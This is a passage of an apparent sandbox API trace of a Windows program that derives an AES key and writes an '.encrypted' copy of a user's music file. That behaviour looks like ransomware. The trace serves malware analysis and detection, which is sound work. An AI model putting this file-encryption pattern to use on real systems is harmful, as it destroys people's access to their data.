hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.398] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.398] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.398] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.399] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.399] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.399] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.400] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.400] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.400] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.400] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.400] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.400] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.401] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418bab0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.401] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.401] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.401] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.401] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0027.402] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\v5iko1.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.403] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.403] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.404] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.404] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\v5iko1.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.406] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.406] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xa7ca, lpOverlapped=0x0) returned 1 [0027.406] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.408] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.408] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.409] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.409] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.409] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.409] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.410] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.410] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.410] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064bb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.410] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.411] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.411] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.411] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 